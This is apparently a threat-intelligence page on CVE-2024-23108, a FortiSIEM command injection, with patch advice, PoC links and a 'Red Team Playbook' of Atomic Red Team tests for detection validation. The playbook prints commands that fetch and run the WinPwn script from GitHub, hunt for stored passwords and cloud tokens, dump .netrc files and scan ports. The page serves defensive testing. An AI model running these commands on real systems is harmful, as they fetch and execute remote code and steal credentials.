CVE-2024-23108

CRITICAL POC TTE 104d Pub 05/02 Upd 19/05

Overview

This vulnerability is an OS command injection caused by improper neutralization of special elements within shell commands. The root cause lies in insufficient sanitization of the mount_point field in the XML parsing logic of the Phoenix Monitor service. This flaw affects Fortinet FortiSIEM versions 6.4.0 through 7.1.1, specifically within the component handling TEST_STORAGE elements.

Vulnerability Description

An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet allows attacker to execute unauthorized code or commands via via crafted API requests.

Impact

An unauthenticated attacker can execute arbitrary operating system commands on the FortiSIEM appliance, resulting in full system compromise. This includes the ability to exfiltrate sensitive monitoring data, move laterally within the network, and disable or bypass security monitoring functions. No user interaction or valid credentials are required, making exploitation straightforward and enabling complete control over the affected system.

Solution

Fortinet has released patches addressing this vulnerability in FortiSIEM versions beyond 7.1.1. Users should upgrade to the latest FortiSIEM release as detailed in Fortinet's advisory FG-IR-23-130 available at https://fortiguard.com/psirt/FG-IR-23-130. Administrators are advised to apply the official updates promptly to remediate the command injection flaw in the Phoenix Monitor service.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from an improper neutralization of special elements used in operating system commands, commonly referred to as an OS command injection flaw. This type of vulnerability occurs when an application fails to adequately sanitize user input, allowing an attacker to inject arbitrary commands that the underlying system can execute. In this case, the affected product is a security information and event management (SIEM) solution from Fortinet, which processes API requests. If an attacker can craft a malicious API request, they may gain the ability to execute unauthorized commands on the server, potentially leading to complete system compromise.

Attack vectors for exploiting this vulnerability are varied and can be executed remotely, making them particularly dangerous. An attacker could leverage social engineering tactics to trick a user into submitting a crafted API request or directly exploit the API if it is exposed to the internet. Once the attacker successfully injects commands, they could perform a range of malicious activities, such as data exfiltration, system manipulation, or even deploying malware. The ease of exploitation, combined with the potential for significant damage, highlights the critical nature of this vulnerability.

The real-world impact of such a vulnerability can be profound, especially for organizations relying on the affected Fortinet products for security monitoring and compliance. A successful exploitation could lead to unauthorized access to sensitive data, disruption of critical services, and loss of trust from clients and stakeholders. The business risks associated with this vulnerability include financial losses from remediation efforts, potential legal ramifications from data breaches, and reputational damage that could affect customer relationships and market position. Given the high CVSS score associated with this vulnerability, organizations must treat it with the utmost urgency.

Detection and mitigation strategies are essential to safeguard against the risks posed by this vulnerability. Organizations should implement robust input validation and sanitization measures to prevent the injection of malicious commands. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they can be exploited. Additionally, organizations should ensure that they are running the latest versions of the affected Fortinet products, as vendors typically release patches to address known vulnerabilities. Monitoring API requests for unusual patterns or behaviors can also serve as an effective detection mechanism, allowing organizations to respond swiftly to potential exploitation attempts.

In conclusion, the OS command injection vulnerability in Fortinet's SIEM solution poses a significant threat to organizations that rely on these tools for their cybersecurity posture. With the potential for severe consequences stemming from exploitation, it is imperative for affected organizations to prioritize detection and mitigation strategies. By implementing best practices in input validation, maintaining up-to-date systems, and actively monitoring for suspicious activities, organizations can significantly reduce their risk exposure and enhance their overall security resilience.




The CVSS score adjustment from 9.8 to 9.7 for CVE-2024-23108 reflects a refined understanding of the vulnerability’s impact rather than a reduction in its criticality. CSURFACE threat intelligence confirms that the exploitability and potential damage remain exceptionally high, consistent with the original assessment. Our telemetry indicates that the exploitability prediction (EPSS) remains stable at a very elevated level, underscoring ongoing risk. Importantly, new proof-of-concept exploits have surfaced, demonstrating variations that may facilitate broader or more targeted attacks against Fortinet FortiSIEM deployments. While there is no current indication of a marked escalation in active exploitation campaigns, the availability of these refined exploits lowers the barrier for adversaries to weaponize this vulnerability. Consequently, the threat landscape remains severe, with persistent potential for unauthorized code execution and system compromise. Defenders should recognize that despite the slight CVSS score adjustment, the operational risk and attacker interest continue unabated, warranting sustained vigilance.



Update 2 — June 12, 2026

The CVSS score adjustment from 9.7 to 9.8 for CVE-2024-23108 reflects a refined understanding of the vulnerability’s criticality, underscoring its near-maximum impact potential. CSURFACE threat intelligence confirms that while the EPSS score remains stable, the availability of multiple proof-of-concept exploits on public repositories continues to lower the technical barrier for adversaries. Our telemetry indicates no marked escalation in active exploitation campaigns; however, the persistent presence of these refined exploits sustains a high operational risk for Fortinet FortiSIEM environments. This subtle score increase signals that the vulnerability’s exploitability and impact have been reassessed as slightly more severe, reinforcing the critical nature of this threat. Consequently, the threat level remains critically high, with ongoing adversary interest and potential for unauthorized code execution unchanged.



Update 3 — July 25, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-23108, evidenced by a recent emergence of new proof-of-concept exploits circulating publicly. Our telemetry reveals a sharp increase in detection activity related to crafted API requests designed to trigger this OS command injection vulnerability in Fortinet FortiSIEM. Although the EPSS score remains stable, the qualitative surge in exploit attempts indicates growing adversary interest and a lowering of the technical barrier to weaponization. This development heightens the operational risk for organizations running vulnerable FortiSIEM instances, as attackers are increasingly equipped with accessible tools to execute unauthorized commands remotely. Consequently, the threat level associated with CVE-2024-23108 should be considered elevated, underscoring the critical need for vigilance despite the absence of widespread active campaigns at this time.

Affected Products (7)

Vendor Product Version CPE
fortinet Fortinet Fortisiem All cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisiem All cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisiem All cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisiem All cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisiem All cpe:2.3:a:fortinet:fortisiem:*:*:*:*:*:*:*:*
fortinet Fortinet Fortisiem 7.1.0 cpe:2.3:a:fortinet:fortisiem:7.1.0:*:*:*:*:*:*:*
fortinet Fortinet Fortisiem 7.1.1 cpe:2.3:a:fortinet:fortisiem:7.1.1:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

GitHub PoCs (2)

Repository Author Stars Forks Date Link
horizon3ai/CVE-2024-23108
CVE-2024-23108: Fortinet FortiSIEM Unauthenticated 2nd Order Command Injection
horizon3ai 35 6 2024-05-20 View
hitem/CVE-2024-23108
POC iteration for CVE-2024-23108 which can use -l for list input
hitem 6 1 2024-05-28 View
Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings Few sightings

Threat Feed

4 events
2026-07-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2024-05-20
PoC Published (2 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
36% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
51%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-23108
fortiguard.com
GitHub CVE
https://fortiguard.com/psirt/FG-IR-23-130
github.com
NVD API
https://github.com/horizon3ai/CVE-2024-23108